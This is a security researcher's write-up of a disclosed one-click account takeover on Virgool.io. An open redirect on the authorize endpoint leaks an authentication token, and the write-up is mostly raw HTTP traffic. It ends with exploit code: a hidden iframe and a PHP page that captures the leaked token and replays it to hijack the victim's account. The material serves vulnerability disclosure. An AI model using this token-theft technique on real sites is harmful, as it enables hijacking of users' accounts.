1-Click Account Takeover in Virgool.io — a Nice Case Study
Hello, Virgool is a light, Iranian version of meduim.com, recently I found 1-click account takeover vulnerability in their product.

Virgool gives users the capability of domain parking. So the site.com
can be a mirror of virgool.io/myname
. I was looking at the https://tech.cafebazaar.ir which was hosted on the Virgool. I saw the source code, and the eye-catching part was the login link:
https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login
I clicked, I logged-in in Virgool, then I got redirected to the https://tech.cafebazaar.ir again. Let’s see the flow:
Click on the login from https://tech.cafebazaar.ir page:
GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tech.cafebazaar.ir/
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
Upgrade-Insecure-Requests: 1
The response:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: https://virgool.io/login
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self';
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 5830
The login page, after credentials submission:
POST /api/v1.2/login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/login
X-XSRF-TOKEN: REDUCTED
Content-Type: multipart/form-data; boundary=---------------------------1803676204095613341172964359
Content-Length: 319
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED%3D%3D; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="username"y.shahinzadeh@gmail.com
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="password"REDUCTED
-----------------------------1803676204095613341172964359--
The response:
HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:55 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 861
Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: jwts=REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly
Set-Cookie: refreshed_token=REDUCTED; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure
Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self';
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 612{"success":true,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED.juAVldUazb6ZTMCopRaXzWQGh-6EYnxXjUd8uEK5jDA","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}
Nothing useful here. The idea of manipulating the login link (https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login) was not interesting enough because of:
https://virgool.io/authorize?redirectedFrom=https://test.com&status=login
There will be a useless open redirect after the user logged-in (honestly I didn’t check this vector, I’m not sure about the open redirect after login sequence). Here I tested an attack scenario:
What if a user has already logged-in, clicks on the authorize link?
The mechanism was:
GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: REDUCTED
Upgrade-Insecure-Requests: 1
The response was surprising:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:34:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://tech.cafebazaar.ir/authorize-token?token=sa5uevekit3r&redirectedFrom=http://tech.cafebazaar.ir&nightmode={"value":0,"userMenu":0,"active":0}
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self';
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 6482
Wait, there wasn’t any login page, just a token to refresh the authentication (updating JWT tokens). Here if I would take-over any account if I could steal that token. How was it possible? by an open redirect :)
The first shot was successful:
GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
...
The response:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://localhost/authorize-token?token=sb5uevdkih3r&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0}
...
Done, 1-lick account takeover. Here is the exploit code:
<style>
iframe {
visibility: hidden;
position: absolute;
left: 0; top: 0;
height:0; width:0;
border: none;
}</style><center><img src="troll.jpg"></center><iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>
In the attacker’s box:
<?phpfile_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding"><script>document.location=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\'</script>');?>
The attacker should trick the user to visit their website, once the user visits the attacker’s website:
GET /authorize-token?token=sa5uevekit3r&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/v/
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
They send the token to the attacker and their Virgool account is compromised. Here I should thank Virgool for their fast response and bounty. Here is the POC video sent to the Virgool: